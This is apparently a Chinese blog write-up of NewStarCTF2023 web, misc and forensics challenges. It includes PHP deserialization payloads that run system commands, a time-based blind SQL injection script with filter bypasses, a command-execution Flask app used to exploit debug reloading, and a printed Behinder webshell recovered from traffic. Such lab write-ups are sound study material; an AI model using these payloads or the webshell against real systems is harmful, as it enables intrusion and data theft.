题目提示destruct早一点触发

1
2
1.去掉序列化尾部 }
2.修改序列化数字元素个数
1
2
3
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

midsql

过滤了空格和=

使用/**/和like绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
result=''
for i in range(1,100):
left=32
right=128
print(i)
mid=(left+right)//2

while(left<right):
# url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"

# url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(2),0)#"

# url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(2),0)#"

url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"

start_time= time.time()
res=requests.get(url=url)
end_time = time.time()
t = end_time - start_time

if(t>2):#成功运行
left=mid+1
else:
right=mid
mid=(left+right)//2

result+=chr(mid)
print(result)
#information_schema,mysql,performance_schema,sys,test,ctf
#iteos
#id,name,price
#1lolita1000,520lolita's flag is flag{9bc00737-790e-4aee-9555-7f961161b8f0}1688

**PharOne

查看源码发现提示class.php

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);//删除 $_POST['file'] 参数指定的文件。@ 符号被用来抑制错误,所以如果文件不存在,它不会产生错误

flask disk

题目提示:a flask disk with a vulneribility. (The application is running on port 5000)

打开环境发现flask开启了debug模式,并且我们能够上传文件

考点:flask在开启debug模式下,变更app.py文件会立即加载

写一个rce的app.py,然后上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass


return "1"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

image-20231121210032143

Misc

R通大残

题目附件黑不拉几一看,010看不出来,修改高度也没变化

想到RGB通道的R通道隐写,stegslove查看

果然上方有藏东西

单独提取R通道所有内容,得到flag

Nmap

请给出Nmap扫描得到所有的开放端口用英文逗号分隔,端口号从小到大排列。 例如flag{21,22,80,8080} nmap.pcap

如果成功建立连接的话,服务器会发送一个synack字段

筛选一下tcp.connection.synack

1698305204342

flag{80,3306,5000,7000,8021,9000}

依旧是空白

给了两个附件,一个是图片,一个是txt文件

打开图片看不到什么,010查看crc报错,爆破宽高并修改

得到password:s00_b4by_f0r_y0u

这次是snow加密:

SNOW 是 the Steganographic Nature Of Whitespace 的简写。

SNOW 用于通过在行尾附加空格和制表符来隐藏 ASCII 文本中的消息,即文本隐写。由于空格和制表符在文本查看器中通常不可见,因此消息实际上对不经意的观察者隐藏。并且如果使用内置加密,即使检测到消息也无法读取。

参数 作用
-C 如果隐藏,则压缩数据,或者如果提取,则会解压缩。
-Q 静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。
-S 报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。
-p password 如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。
-l line-length 在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。
-f message-file 此文件的内容将隐藏在输入文本文件中。
-m message-string 此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。

SNOW.EXE -C -p "s00_b4by_f0r_y0u" infile outfile

查看outfile里面的内容得到

flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}

3-溯源

在调查清楚攻击者的攻击路径后你暗暗松了一口气,但是攻击者仍控制着服务器,眼下当务之急是继续深入调查攻击者对服务器进行了什么操作,同时调查清楚攻击者的身份,请你分析攻击者与WebShell通讯的流量获取攻击者获取的相关信息,目前可以得知的是攻击者使用了冰蝎进行WebShell连接。 Tip:沿着前序题目的进度分析会更符合逻辑,或许有助于解题 FLAG格式:flag{攻击者获取到的服务器用户名_服务器内网IP地址} 例如flag{web_10.0.0.3}

顺着上一道题的思路有一个Shell:wh1t3g0d.php,继续分析

1
http.request.uri.path contains "wh1t3g0d.php"

1699184402246

可以看到写了一个shell

1
http.request.uri contains "shell.php"

1699184465266

注意到file_put_contents,写入了一个1.php,base64编码了,解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

很明显的冰蝎Shell,发现后续的交互也主要是和1.php进行交互。

从这里可以得知key为e45e329feb5d925b,流量采用AES CBC 128加密,可以先把所有1.php的响应流量过滤出来:

1
http.response_for.uri contains "/1.php"

然后导出特定分组

1
2
3
4
5
6
7
mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j4WlEW7HirOWaxK0Av0Bq+B
{"status":"c3VjY2Vzcw==","msg":"d3d3LWRhdGEK"}
success
www-data
{"status":"c3VjY2Vzcw==","msg":"MTcyLjE3LjAuMgo="}
success
172.17.0.2

flag{www-data_172.17.0.2}

第一次取证

获取信息

1
python2 vol.py -f dycqz.raw imageinfo

查看进程

1
python2 vol.py -f dycqz.raw --profile=Win7SP1x64 pslist

查看notepad进程:

得到

1
@iH<,{BTrI;(N[`j&z+xcj9XE2!u/YbR:4gb2+ceDJs@u6P

base91解密

flag{a308067fc26625d31a421247adce3893}

Week5

Web

1

Misc

隐秘的图片

给了两张二维码,第一张完好的扫出来假的flag

key1

第二张没有finder

key2

xqr脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from PIL import Image

# 读取原始图片
img1 = Image.open('key1.png').convert('1')
img2 = Image.open('key2.png').convert('1')

# 调整图片尺寸
img2 = img2.resize((297,297))

# 获取图片尺寸
width, height = img1.size

# 创建新图片对象
result = Image.new('1', (width, height))

# 循环遍历像素并进行异或
for x in range(width):
for y in range(height):
pixel1 = img1.getpixel((x, y))
pixel2 = img2.getpixel((x, y))
result.putpixel((x, y), pixel1 ^ pixel2)

# 保存结果图片
result.save('result.png')

result

Enigma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from enigma.machine import EnigmaMachine
from secret import *

def enigma(m, _reflector, _rotors, _rs):
machine = EnigmaMachine.from_key_sheet(
rotors=_rotors,
reflector=_reflector,
ring_settings=_rs,
plugboard_settings='')
temp = machine.process_text(m)
return temp.lower()

print(enigma(flag, reflector, rotors, [rs1,15,rs2]))
# uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn

其中我们未知的加密参数有reflector、rotors和rs1、rs2

大概了解一下这个类库就能知道这几个参数的取值范围,编写脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from enigma.machine import EnigmaMachine
reflectors = ['B-Thin', 'C-Thin']
rotors = ['I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII']
for r1, r2, r3 in [(r1, r2, r3) for r1 in rotors for r2 in rotors for r3 in rotors]: 
for r in reflectors:       
for a, b in [(a, b) for a in range(1, 26) for b in range(1, 26)]:           
machine = EnigmaMachine.from_key_sheet(               
rotors=' '.join([r1, r2, r3]),               
reflector=r,               
ring_settings=[a, 15, b],               
plugboard_settings=''           
)           
temp = machine.process_text('uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn')           
if temp.startswith("FLAG"):               
print(temp, r1, r2, r3, r)
break
#FLAGISENIGMAISSOOOINTERESTINGCRYPTODOYOUTHINKSO II IV VII C-Thin

ezhard

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ file ezhard
ezhard: Linux rev 1.0 ext4 filesystem data, UUID=9f3e7e9e-e08e-435c-8528-e0b6d310e3a2 (extents) (64bit) (large files) (huge files)

分析出是硬盘格式文件

挂载一下

1
2
mkdir tmp
sudo mount ezhard tmp

然后进tmp目录查看

image-20231121183117453

发现hint.png打不开,查看属性发现权限不够,右键root打开

image-20231121183511238

image-20231121182956019

Easymem

1
2
3
4
5
6
7
8
9
10
11
python2 vol.py -f filename imageinfo
python2 vol.py -f filename --profile=Win7SP1x64 mimikatz
#flag{45a527fb-2f
python2 vol.py -f filename --profile=Win7SP1x64 filescan |grep 'Desktop'
#0x000000007ed627e0 16 0 RW-r-- \Device\HarddiskVolume1\Users\ctf\Desktop\flag2.txt
python2 vol.py -f filename --profile=Win7SP1x64 dumpfiles -Q 0x000000007ed627e0 -D /home/kali/Desktop
#83-5032-1056
python2 vol.py -f filename --profile=Win7SP1x64 pslist
#0xfffffa801b15e5a0 mspaint.exe 1484 752 6 126 1 0 2023-10-05 08:11:25 UTC+0000
python2 vol.py -f filename --profile=Win7SP1x64 memdump -p 1484 -D /home/kali/Desktop
导出一个dat文件后续需要GIMP工具

GIMP打开文件参数如下,需手动设置文件类型为Raw图像数据,扩展名为data

image-20231121191042508

宽度为480的时候能够找到特征字符

image-20231121191056403

截屏保存,利用修图工具进行垂直翻转即可

image-20231121191109963


NewStarCTF2023
http://example.com/2023/10/23/NewStarCTF2023/
作者
Whhxy4
发布于
2023年10月23日
许可协议